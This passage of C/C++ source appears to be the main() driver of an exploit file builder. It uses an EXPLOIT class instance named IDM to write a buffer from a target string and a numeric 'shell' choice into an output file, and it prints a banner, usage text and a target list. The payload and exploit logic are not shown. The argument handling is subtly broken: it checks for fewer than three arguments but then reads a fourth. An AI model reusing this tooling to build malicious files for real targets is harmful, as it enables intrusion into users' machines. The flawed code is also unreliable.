int main(int argc, char *argv[])
   {
      EXPLOIT IDM;
      int X, shell ;
      char *Z;
      char *actbuff;
     actbuff = (char *)malloc(SIZE);
	  if (argc < 3) {
		       system("cls");
		       printf("***********************************************************************\n");
		       IDM.print ();
		       IDM.usage (argv[0]);
		       //Sleep(1000);
		       printf("\n\n");
		       printf("\t\t\t\tTargets\n");
		       IDM.target();
		       printf("************************************************************************\n");
				     exit (0);
	     }


   Z = argv[1];
   shell = atoi(argv[2]);
   IDM.write (actbuff, shell, Z);
   IDM.file (argv[3], actbuff);
   IDM.print();
   printf("Loading ...");
   //Sleep(3000);
		  printf ("File build succesfully\n");

   return 0;
}